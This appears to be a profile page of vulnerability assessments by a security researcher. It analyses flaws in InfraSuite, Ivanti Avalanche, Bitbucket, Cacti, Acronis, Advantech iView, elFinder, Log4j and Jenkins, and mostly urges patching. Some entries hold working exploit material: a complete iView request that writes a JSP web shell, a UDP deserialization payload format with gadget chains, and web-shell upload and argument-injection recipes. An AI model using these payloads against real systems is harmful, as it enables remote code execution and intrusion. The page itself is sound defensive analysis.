space-r7 (143)
Last Login: June 06, 2023
space-r7's Latest (20) Contributions
Technical Analysis
Rating this vulnerability as high value given the ease of exploitation. The Device-Gateway-Status
process accepts UDP packets without authentication and deserializes its contents, leading to RCE.
The .NET deserialization vulnerability occurs at the initial processing of UDP packets in the method ParseUDPPacket()
.
The method first checks that the first byte of the packet is 1, and then it determines the length of the packet by viewing the second and third bytes. The method will then read all of the contents following the first three bytes into an array, and then InfraSuiteManager.Common.Serialization.DeSerializeBinary()
is called with the array passed in. We can see that if DeSerializeBinary()
succeeds, the deserialized contents are assigned to the sPacketData.sHeader
field.
The DeSerializeBinary()
method calls BinaryFormatter.Deserialize()
on the packet header, allowing for code execution.
Sending a UDP packet with just the packet header is valid and will be deserialized, so exploitation is as simple as sending the following over a UDPSocket in Ruby:
"\x01#{[ payload.length ].pack('n')}#{payload}"
The following ysoserial.net gadget chains work against version 01.00.00d
of the software:
- ClaimsIdentity
- ClaimsPrincipal
- RolePrincipal
- SessionViewStateHistoryItem
- WindowsIdentity
One caveat of exploitation is that it spawns a cmd window. Still encourage prioritizing a patch for this one.
Technical Analysis
This vulnerability is associated with the Central FileStore, which is the default location for files that are used to update the devices managed by the Ivanti Avalanche server. The ZDI advisory mentions that the vulnerability is located in the FileStoreConfig app. In the patched version of the FileStoreConfigBean.class
, there is an array of exclusion patterns that have three new patterns added to the list:
These three patterns follow the short MS-DOS (8.3) style naming convention on Windows. Further down, the exclusion pattern list is used to validate the configuration path for the Central FileStore, barring any paths that contain any of the exclusion patterns.
public void validateFileStoreUncPath(FacesContext context, UIComponent component, Object value) throws ValidatorException { logger.trace("FileStoreConfigBean.validateFileStoreUncPath()"); String uncPath = value.toString(); if (!uncPath.isEmpty()) { String testPath = uncPath.replace("\\", "/"); String defaultPath = this.m_defaultunc.replace("\\", "/"); if (testPath.indexOf("..") != -1) { throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path_parent"), (String)null)); } else if (testPath.indexOf("./") == -1 && testPath.indexOf("/.") == -1) { if (testPath.endsWith("/")) { throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path_trailer"), (String)null)); } else { Iterator var7 = this.m_exclusionPatterns.iterator(); <----------- while(var7.hasNext()) { Pattern patt = (Pattern)var7.next(); Matcher matcher = patt.matcher(testPath); if (matcher.find()) { if (!testPath.equalsIgnoreCase(defaultPath)) { logger.error(String.format("Filestore path '%s' is forbidden", uncPath)); throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path_forbidden"), (String)null)); } logger.debug(String.format("Filestore path '%s' is forbidden but tolerated because it is the default CFS path", uncPath)); } } boolean uncStart = uncPath.startsWith("\\"); boolean dosStart = uncPath.length() > 1 && uncPath.charAt(1) == ':' && Character.isLetter(uncPath.charAt(0)); if (!uncStart && !dosStart) { throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path"), (String)null)); } else if (!this.isPathValid(uncPath)) { throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path_syntax"), (String)null)); } } } else { throw new ValidatorException(new FacesMessage(FacesMessage.SEVERITY_ERROR, BundleManager.getBundleString("inputError", "file_store_unc_path_current"), (String)null)); } } }
Based on the patch, the vulnerability appears to be caused by the allowance of paths using the short MS-DOS style naming convention. The web root for Ivanti Avalanche is located in C:\Program Files\Wavelink\Avalanche\Web\webapps\AvalancheWeb
. Because the webapps
directory is in the exclusion list and is too short to have a short MS-DOS style name, an attacker can set the config path to C:\PROGRA~1\Wavelink\AVALAN~1\Web
and expand / select the webapps
and AvalancheWeb
folders to upload a JSP file to the web root.
The application’s web.xml
file includes a filter for the jsp extension, which prevents the uploaded payload from getting executed:
<filter> <filter-name>WebShellFilter</filter-name> <filter-class>com.wavelink.amc.web.servlet.WebShellFilter</filter-class> <init-param> <param-name>forbiddenextensions</param-name> <param-value>.jsp</param-value> </init-param> </filter>
Despite this, Ivanti Avalanche is built with JavaServer Faces or JSF. Leveraging this, an attacker can upload a JSP payload and request payload_name.jsf
, which will result in the default FacesServlet
serving the JSP payload and bypassing the forbiddenextensions
filter. Successfully exploiting this vulnerability will result in RCE as NT AUTHORITY\SYSTEM
.
I’d rate this as a moderately valuable vulnerability. It results in elevated privileges from an easily exploitable remote vulnerability; however, the attacker would need to start with admin credentials. Getting admin privileges may or may not be easily obtainable given that there are also some auth bypasses in the software: 1, 2. Since the vulnerable component is the file store for pushing updates to a variety of devices, I’d still say that a patch should be prioritized.
Technical Analysis
Upon creation of a new user or when an existing user changes their user name, some local environment variables are updated to reflect those changes. The functionality involved in making these changes uses the \u0000
character as a delimiter, allowing for injection of environment variables into the user name if input such as username\u0000ENV_VAR=VALUE
is used. The GIT_EXTERNAL_DIFF
environment variable will execute the script that it’s assigned to when git diff
is called, which can occur by viewing a diff in a repository hosted with Bitbucket.
An attacker must be able to modify or set a user name in order to inject an environment variable and payload into it. Bitbucket appears to only allow users in the admin and sys admin groups this particular permission. In some cases, this vulnerability can be exploited without authentication through the allow public signup
feature in Bitbucket, a non-default feature which permits account creation for anyone that has public access to the server. While this means an attacker has control over the user name and can consequently inject a payload into it, they cannot change the user name. This doesn’t bode well for attackers who want to evade detection.
Exploit attempts can be detected in various ways. Length restrictions on the user name make it difficult to drop anything other than a simple shell on the target, leading to multiple name change requests in the logs. Additionally, the user name, including the GIT_EXTERNAL_DIFF=
string will appear in the logs and will remain on the site if exploited through the public signup option. Lastly, the GIT_EXTERNAL_DIFF
environment variable will remain set if exploitation fails.
Technical Analysis
Rating this vulnerability as high in terms of attacker value. The command injection vulnerability seems relatively trivial to exploit, and it grants an attacker unauthenticated remote code execution as the user running the Cacti service.
If an attacker sends a GET request to remote_agent.php
with the action set to polldata
, it is possible to reach a code path that calls the php function proc_open()
on unsanitized, attacker-controlled data. Specifically, the poller_id
parameter in the request permits strings as valid input. To reach this code path, the Cacti server must have a poller item with the POLLER_ACTION_SCRIPT_PHP
action, and the local_data_ids[0]
and host_id
parameters must be valid ids associated with a poller item in the database. According to one of the researchers who discovered this vulnerability, the POLLER_ACTION_SCRIPT_PHP
action should be common in production since many of the default templates used to create a poller item have this action enabled. Additionally, supplying valid ids for the local_data_ids[0]
and host_id
parameters should be trivial, as they can be bruteforced.
There is currently a Metasploit module in flight for this vulnerability.
Technical Analysis
Rating this as a high-value vulnerability for attackers. This does require auth to exploit, either via user credentials or a personal access token. This could either be done with stolen credentials or by creating an account if that is permitted on the target instance. Exploitation appears to be straightforward; initiate a repository import which contains the payload / RESP message and get a shell. The only caveat here is that the repository needs to be publicly available to the Gitlab instance.
The Hackerone report goes into more detail on how the RESP message actually gets executed. This one is important to patch.
Technical Analysis
Acronis TrueImage comes installed with an XPC service by default:
$ ls -al /Library/PrivilegedHelperTools total 96 drwxr-xr-t 3 root wheel 96 Nov 9 15:19 . drwxr-xr-x 66 root wheel 2112 Nov 9 15:41 .. -rwxr-xr-x 1 root wheel 47216 Nov 9 15:19 com.acronis.trueimagehelper
Inside its shouldAcceptNewConnection
method, it accepts a connection from the connecting client without any validation:
/* @class HelperTool */ -(char)listener:(void *)arg2 shouldAcceptNewConnection:(void *)arg3 { var_30 = [arg3 retain]; rbx = [[NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)] retain]; [arg3 setExportedInterface:rbx]; [rbx release]; [arg3 setExportedObject:self]; [arg3 resume]; [var_30 release]; return 0x1; }
The service uses the HelperToolProtocol
to set up an interface for the connection. class-dump
shows that there are three methods implemented by the HelperToolProtocol
, with one being executeProcess:arguments:caller:withReply:
:
$ ./class-dump /Library/PrivilegedHelperTools/com.acronis.trueimagehelper ... @protocol HelperToolProtocol - (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1; - (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4; - (void)getProcessIdentifierWithReply:(void (^)(int))arg1; @end
Executing the executeProcess:arguments:caller:withReply:
method allows for executing arbitrary processes via the following block:
int ___56-[HelperTool executeProcess:arguments:caller:withReply:]_block_invoke(int arg0) { r14 = [[NSTask launchedTaskWithLaunchPath:*(arg0 + 0x20) arguments:*(arg0 + 0x28)] retain]; objc_sync_enter([[*(arg0 + 0x30) pids] retain]); var_30 = [[*(arg0 + 0x30) pids] retain]; r12 = [[NSNumber numberWithInt:[r14 processIdentifier]] retain]; rbx = [[NSNumber numberWithInt:*(int32_t *)(arg0 + 0x40)] retain]; [var_30 setObject:rbx forKeyedSubscript:r12]; [rbx release]; [r12 release]; [var_30 release]; [*(arg0 + 0x30) startTimer]; objc_sync_exit(rax); [rax release]; [r14 waitUntilExit]; r15 = [r14 terminationReason]; rbx = *(arg0 + 0x38); rax = [r14 terminationStatus]; if (r15 == 0x2) { rax = rax + 0x3e8; } (*(rbx + 0x10))(rbx, rax); rax = [r14 release]; return rax; }
Exploiting this vulnerability is fairly trivial and will give an attacker root
privileges. Granted, this is now a two year old vulnerability, but it spans a large range of versions and uninstalling the main application will not remove the helper tool. Definitely check /Library/PrivilegedHelperTools
if a vulnerable version was installed and was removed without updating.
Technical Analysis
A vulnerability in the ZoomAutoUpdater
application can result in escalation of privileges to that of the root
user. The issue stems from permissions held by the update package that is to be installed: The package gets written to a root-owned directory; however, the package itself is writable for anyone. Because of this, an attacker can write a malicious package in place of the valid update package. Being a TOCTOU bug, the malicious package must be written after the updater verifies that the package is signed, but before the installation process begins. That makes repeated attempts at the exploit potentially necessary. Since the update process can be hidden from the user, multiple attempts at exploitation can be afforded.
Zoom appears to cache a valid update package at ~/Library/Application Support/zoom.us/AutoUpdater/Zoom.pkg
if the auto update setting is checked, so exploitation may be as simple as writing the malicious package to disk, initiating an update, and then performing a copy to write the package in the valid update package’s location.
Technical Analysis
An unauthenticated attacker can leverage this command injection vulnerability to gain remote code execution against vulnerable versions of Advantech iView software. The software runs as NT AUTHORITY\SYSTEM
, so this will ultimately give an attacker unauthenticated privileged access with relatively low effort.
The vulnerability lies in the NetworkServlet
database backup functionality:
private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) { boolean bReturn = false; String strResults = new String(); String strFilename = request.getParameter("backup_filename"); String strExecuteCmd = new String(); String strMySQLPath = new String(); String strDbBackupFilePath = new String(); DBServices tempDBServices = new DBServices(); Process runtimeProcess = null; SystemTable tempSystemTable = new SystemTable(); boolean errFile = false, sqlInj = false; CUtils cutil = new CUtils(); if (strFilename != null && !strFilename.equals("")) errFile = cutil.checkFileNameIncludePath(strFilename); <--- sqlInj = cutil.checkSQLInjection(strFilename); <--- ... return bReturn; }
Two checks are performed on the user-controlled strFileName
variable (backup_filename
in POST). The first check is a test for attempted directory traversal or an attempt to write a file to known executable directories:
public boolean checkFileNameIncludePath(String filename) { boolean result = false; if (filename.contains("../") || filename.contains("/Microsoft/Windows/")) { result = true; } else if (filename.contains("..\\") || filename.contains("\\webapps\\") || filename.contains("\\Apache Software Foundation\\")) { result = true; } if (result) System.out.println("Error: Directory Traversal Vulnerability detected in [" + filename + "]"); return result; }
The second check simply determines whether the strFileName
includes any SQL keywords that would imply a SQL injection attempt. It also checks for attempts at executing arbitrary commands via getRuntime().exec()
:
public boolean checkSQLInjection(String model0) { boolean result = false; String model = model0.toLowerCase(); if (model.contains(" or ") || model.contains("'or ") || model.contains("||") || model.contains("==") || model.contains("--")) { result = true; } else if (model.contains("union") && model.contains("select")) { if (checkCommentStr(model, "union", "select")) result = true; } else if (model.contains("case") && model.contains("when")) { if (checkCommentStr(model, "case", "when")) result = true; } else if (model.contains("into") && model.contains("dumpfile")) { if (checkCommentStr(model, "into", "dumpfile")) result = true; } else if (model.contains("into") && model.contains("outfile")) { if (checkCommentStr(model, "into", "outfile")) result = true; } else if (model.contains(" where ") && model.contains("select ")) { result = true; } else if (model.contains("benchmark")) { result = true; } else if (model.contains("select") && model.contains("from")) { if (checkCommentStr(model, "select", "from")) result = true; } else if (model.contains("select/*")) { result = true; } else if (model.contains("delete") && model.contains("from")) { if (checkCommentStr(model, "delete", "from")) result = true; } else if ((model.contains("drop") && model.contains("table")) || (model.contains("drop") && model.contains("database"))) { if (checkCommentStr(model, "drop", "table")) result = true; if (checkCommentStr(model, "drop", "database")) result = true; } else if (model.contains("sleep(") || model.contains(" rlike ") || model.contains("rlike(") || model.contains(" like ")) { result = true; } else if (model.startsWith("'") && model.endsWith("#") && model.length() > 5) { result = true; } else if ((model.startsWith("9999'") || model.endsWith("#9999") || model.contains("#9999")) && model.length() > 10) { result = true; } else if (model.contains("getRuntime().exec") || model.contains("getruntime().exec") || model.contains("getRuntime()")) { result = true; } if (result) System.out.println("Error: SQL Injection Vulnerability detected in [" + model0 + "]"); return result; }
Returning to backupDatabase()
, as long as the strFileName
variable passes the two above checks it will be used in forming a mysqldump
command which will be executed via Runtime.getRuntime().exec()
. Since the previous sanitization checks didn’t take mysqldump
arguments into account, the -r
and -w
flags can be used for exploitation.
private boolean backupDatabase(HttpServletRequest request, HttpServletResponse response) { ... if (!errFile && !sqlInj) { if (tempDBServices.getMySQLLocation()) { strMySQLPath = tempDBServices.getMySQLPath(); if (tempDBServices.retrieveDbSettings()) { String strUser = tempDBServices.getStrLoginUserID(); String strPassword = tempDBServices.getStrLoginPassword(); if (tempSystemTable.findDbBackupFilePath()) { strDbBackupFilePath = tempSystemTable.getDbBackupFilePath(); strDbBackupFilePath = String.valueOf(strDbBackupFilePath) + strFilename; if (DBServices.OsUtils.isWindows()) { strExecuteCmd = "\"" + strMySQLPath; strExecuteCmd = String.valueOf(strExecuteCmd) + "bin\\mysqldump\" -hlocalhost -u " + strUser + " -p" + strPassword + " --add-drop-database -B iview -r \"" + strDbBackupFilePath + "\""; } try { runtimeProcess = Runtime.getRuntime().exec(strExecuteCmd); ...
The -r
flag designates a file for the output of the mysqldump
command, and the -w
flag allows the user to supply a condition for the command, which will end up in the output file. Given this, an attacker can pass in a jsp stub as the condition, and they will now have the ability to execute code on the target. This can be done with a single POST request (parameters not encoded for readability):
POST /iView3/NetworkServlet HTTP/1.1 Host: 192.168.140.200:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12.2; rv:97.0) Gecko/20100101 Firefox/97.0 Content-Type: application/x-www-form-urlencoded Content-Length: 469 page_action_type=backupDatabase&backup_filename=Qivsaus.sql" -r "./webapps/iView3/ZQmIfz.jsp" -w "<%=new String(com.sun.org.apache.xml.internal.security.utils.JavaUtils.getBytesFromStream((new ProcessBuilder(request.getParameter(new java.lang.String(new byte[]{119,83,97,65,116,110,68,88})),request.getParameter(new java.lang.String(new byte[]{107,88,108,74})),request.getParameter(new java.lang.String(new byte[]{81,72,108,68,101,102}))).start()).getInputStream()))%>"
The patch for this vulnerability makes authentication a requirement for accessing the NetworkServlet
endpoint. Since this vuln is trivial to exploit, I would recommend this one as high priority to patch. Credit goes to y4er for original blog post and PoC
Technical Analysis
This is a useful vulnerability; however, an existing session on the target is required, and escalation of privileges can sometimes depend on luck. To achieve the directory creation and ultimately the file write, one first needs to reinitialize the print spooler. There exists one primitive to do this using SetPrinterDataEx()
and AppVTerminator.dll
as a Point and Print dll, but it’s limited to two uses because the print spooler will not automatically restart after two crashes. If the print spooler has reached its maximum number of restarts, then this exploit will only work by restarting the system completely, which is not particularly stealthy. Additionally, the previously-mentioned primitive is limited, as Windows 7 does not appear to have the AppVTerminator
dll.
Assuming that the attacker has a printer handle with the PRINTER_ACCESS_ADMINISTER
privilege and the ability to restart the print spooler, this vulnerability is fairly easy to exploit. Create a temp directory, set the SpoolDirectory
to the temp path with the version 4 directory appended (in UNC path form), create junction between the temp path and the printer driver directory, restart spooler, write malicious dll, then load the dll.
I wouldn’t call this the first priority in the list of vulnerabilities to patch mainly due to an existing session being a requirement and success potentially depending on a reboot, but it should certainly be patched.
Technical Analysis
Exploitation is fairly trivial, but dumping all of the useful tables gets more involved. As @NinjaOperator mentioned, this vulnerability has been used to deploy ransomware in the past, so I’m rating this as fairly high in terms of exploitability. The documentation for BillQuick setup and installation uses the sa
user’s credentials, meaning that it’s likely that customers are doing the same. Attackers can go further with this vulnerability and achieve code execution as a result of this. I’m not aware of any public PoC for achieving RCE with this vuln, but patching should be prioritized.
Technical Analysis
This CVE represents multiple vulnerabilities found in elFinder which you can read more about here. My assessment will mostly focus on the argument injection vulnerability, as that one is personally the easiest to exploit / gives the best reward out of all of them from an attacker’s perspective (a shell!).
The argument injection vulnerability occurs in the makeArchive()
function:
php/elFinderVolumeDriver.class.php
from elFinder v2.1.57
6841 protected function makeArchive($dir, $files, $name, $arc) 6842 { 6843 if ($arc['cmd'] === 'phpfunction') { 6844 if (is_callable($arc['argc'])) { 6845 call_user_func_array($arc['argc'], array($dir, $files, $name)); 6846 } 6847 } else { 6848 $cwd = getcwd(); 6849 if (chdir($dir)) { 6850 foreach ($files as $i => $file) { 6851 $files[$i] = '.' . DIRECTORY_SEPARATOR . basename($file); 6852 } 6853 $files = array_map('escapeshellarg', $files); 6854 6855 $cmd = $arc['cmd'] . ' ' . $arc['argc'] . ' ' . escapeshellarg($name) . ' ' . implode(' ', $files); 6856 $this->procExec($cmd, $o, $c); 6857 chdir($cwd); 6858 } else { 6859 return false; 6860 } 6861 } 6862 $path = $dir . DIRECTORY_SEPARATOR . $name; 6863 return file_exists($path) ? $path : false; 6864 }
On line 6855
, the archive command is created with the previously-sanitized file name(s) and the user-controlled name
variable being passed to escapeshellarg()
. escapeshellarg()
escapes single quotes and places singles quotes around the string supplied as the argument. Additionally, I found that the name
variable is further sanitized via another method. Certain characters like spaces, slashes, +
’s, etc. are either removed or replaced with other characters, adding some minor complexity to the exploit. Despite these limitations, when using zip
as the archive method, supplying the -TmTT
option through the name
parameter / variable allows execution of arbitrary commands.
This vulnerability’s impact can vary since elFinder can be used as a standalone web-based file manager and as an underlying file manager for other software. Standalone, elFinder does not require authentication, so exploitation would be quite straightforward. I don’t expect there to be many of these installations on the open internet, so while easy to exploit, this would likely require being on an internal network first.
In cases where elFinder is integrated with other software, this may add to the complexity by requiring auth / admin privileges. For instance, according to the Portswigger article elFinder is used as part of the Wordpress File Manager, but requires access to an admin account to exploit. This is likely the similar case for other software that integrates with elFinder, such as CKEditor, TinyMCE, etc.
While it’s hard to determine just how widespread this vulnerability is, I think most vulnerable elFinder installations are probably behind auth via third-party apps. Whether that’s truly the case or not, a patch for this should be prioritized.
Edit: I selected both unauthenticated and authenticated since this vulnerability can technically be both.
Technical Analysis
This vulnerability occurs due to a flaw in calculating safe bounds while performing arithmetic involving a pointer and a scalar when the scalar’s actual value is not known. The verifier calculates a minimum and maximum value (for both signed and unsigned numbers) that can be safely added / subtracted to / from the pointer to ensure that out-of-bounds memory is not accessed. Additionally, the verifier uses the var_off
bound to represent what it knows about the current state of the register that the bound is for. The __reg_bound_offset32()
function was added in order to update bounds specifically when 32-bit conditionals are performed; however, the technique used to calculate and update bounds can result in bounds that are less than the actual value of the register, meaning that the verifier can be tricked into allowing out-of-bounds reads and writes after all.
I’m not well-versed in exploiting out-of-bounds writes on Linux, but based off of the blog post , triggering the vulnerability seems fairly straightforward at least. The vulnerability didn’t make it to many mainline distro releases, so I reduced the exploitability rating a bit. In the rare chance that you are running a kernel version vulnerable to this, definitely prioritize this and patch your system.
Technical Analysis
Rating this vulnerability as high since it bypasses all of the checks that MacOS performs on downloaded files. It was reportedly introduced in MacOS version 10.15
, and the fix is in version 11.3
. This vulnerability has also been reported as being exploited in the wild.
An unsigned, unnotarized binary downloaded from the Internet is typically blocked from execution; however a script-based app with no Info.plist
file bypasses those checks. To read about how that exactly happens, see the objective-see blog post here. This does require user interaction for success, but all it takes is a download and a double click. Additionally, an exploit is quite trivial to make, as all it really needs is a valid app without the Info.plist
file bundled with it. As always, install your updates.
Technical Analysis
Agree with @wvu-r7’s assessment. An installation of Apache Druid from the official release archives was technically vulnerable by default. No auth required, and then the JavaScript execution setting can be enabled in a single request. That same request can hold the payload that gets an attacker RCE as well. The ingestion format is well-documented on Apache Druid’s site, so creating an exploit from scratch is relatively trivial. Wanted to add to this, as there is now a Metasploit Module in the works.
Technical Analysis
While this vulnerability has the potential to be dangerous, I think the limitations for exploitation outweigh its value. To successfully exploit this vulnerability, an attacker must be able to host a malicious repo and convince a user to clone said repo. Additionally, each platform has its own requirements.
There are a few hosting options, and they all have their caveats that would limit the exploit in some way. An attacker could use a “trusted” hosting service such as Github, Gitlab, etc. Hosting on a trusted service could be either through compromising an existing, perhaps commonly-used repo or by hosting a single, malicious repo of their own. The former option adds complexity because it would require the attacker to be able to add multiple files to the repo unnoticed. The latter option would be an easier and more credible / trustworthy option versus using a self-hosting method. Despite that, the repo would likely be identified and removed, limiting the exploit even further. As mentioned before, the self-hosting option exists, but would be the most limited since users would be more cautious with repositories from an untrusted source.
Aside from the hosting limitations, a user must have some form of clean / smudge filters set up globally with Git so that the repo’s contents can be checked out out-of-order on a clone. According to the advisory, Git for Windows has clean / smudge filters set up by default through Git-lfs
, so Windows users are most vulnerable. For MacOS, clean / smudge filters must be set up manually. Thanks to Foone’s fantastic analysis, it turns out that Linux can also be vulnerable, provided that clean / smudge filters are set up globally, and the malicious repo is cloned on a case-insensitive file system, i.e., a mounted drive.
Because so many limitations exist for successful exploitation, I wouldn’t rate this as a critical vulnerability. It is dangerous, but because it relies on user interaction and a specific local configuration of the vulnerable software, I’m giving it a middle score for both Attacker Value
and Exploitability
. I’ve selected both vulnerable in default configuration
and vulnerable in uncommon configuration
since it’s dependent on the platform that the Git client is installed on. Windows is vulnerable by default, and the other platforms require additional setup to be truly vulnerable.
As always, upgrade to the patched version, especially Windows users in this case. If that’s not possible, users can still disable global clean / smudge filters and disable symlinks in Git.
Technical Analysis
Rating this as very high as this is a widespread Wordpress plugin, and the vulnerability is easily exploitable. The vulnerability is due to an example file, lib/php/connector.minimal.php
, being left over in installations of the plugin. The file enables unauthenticated execution of select commands including an upload
command that allows for file upload which can lead to code execution on the server.
Note that disabling the plugin in Wordpress does not fix the vulnerability. The plugin should either be removed or updated to the patched version, which is v6.9
.
Technical Analysis
This vulnerability is essentially a duplicate of CVE-2017-5645, which was discovered in various versions of Log4j 2. I am unsure why the Log4j 1.x versions were addressed later, especially since Log4j 1.x was considered EoL in 2015.
Including any of the vulnerable versions of the Log4j library and enabling it in the application of choice opens up a pretty nasty vulnerability in said application. The CVE listing mentions that the vulnerability exists within the SocketServer
class. Within its main()
method, a SocketNode
object is created once a client connection is accepted.
public static void main(String argv[]) { ... while(true) { cat.info("Waiting to accept a new client."); Socket socket = serverSocket.accept(); InetAddress inetAddress = socket.getInetAddress(); cat.info("Connected to client at " + inetAddress); LoggerRepository h = (LoggerRepository) server.hierarchyMap.get(inetAddress); if(h == null) { h = server.configureHierarchy(inetAddress); } cat.info("Starting new socket node."); new Thread(new SocketNode(socket, h)).start(); ... }
The SocketNode
constructor creates a new ObjectInputStream
object named ois
from data on the socket:
public SocketNode(Socket socket, LoggerRepository hierarchy) { this.socket = socket; this.hierarchy = hierarchy; try { ois = new ObjectInputStream(new BufferedInputStream(socket.getInputStream())); ... }
And in the SocketNode
’s run()
method, readObject()
is called on the data previously read from the socket:
public void run() { LoggingEvent event; Logger remoteLogger; try { if (ois != null) { while(true) { // read an event from the wire event = (LoggingEvent) ois.readObject(); // get a logger from the hierarchy. The name of the logger is taken to be the name contained in the event. remoteLogger = hierarchy.getLogger(event.getLoggerName()); ... }
This vulnerability could give an attacker unauthenticated RCE easily if and only if the Log4j library is enabled and listening for remote connections. I’m rating this vulnerability a little lower in utility / attacker value because of that. This is quite an old vulnerability despite the CVE date, but as always, make sure you’re patched.
Technical Analysis
The readFrom
method within the Command
class in the Jenkins CLI remoting component deserializes objects received from clients without first checking / sanitizing the data. Because of this, a malicious serialized object contained within a serialized SignedObject
can be sent to the Jenkins endpoint to achieve code execution on the target.
This is a fairly old vulnerability, so it’s unlikely that there are many, if any vulnerable installations on the web today, but I rated this vulnerability based on what it could give an attacker if they were to find a vulnerable installation online today. This vulnerability is yet another Java deserialization vulnerability that I would define as critical given a number of reasons:
- Unauthenticated code execution
- There is no special / proprietary protocol that will hinder exploitation ( you just send the object in the body of a POST request )
- A proof of concept exists and has for some time
Again, this is an unlikely target given the date of the vulnerability, but I think an attacker would definitely aim to exploit this if it was spotted online.
Technical Analysis
Versions of Wildfly below 20.0.0.Final
can load arbitrary classes through either JNDI or EJB invocation, which could potentially result in RCE. Despite that, authentication is required, making exploitation all the more difficult.
Technical Analysis
Not many details have been released regarding this vulnerability, Despite that, exploitation sounds trivial, and the result is code execution as root
. This should definitely be patched.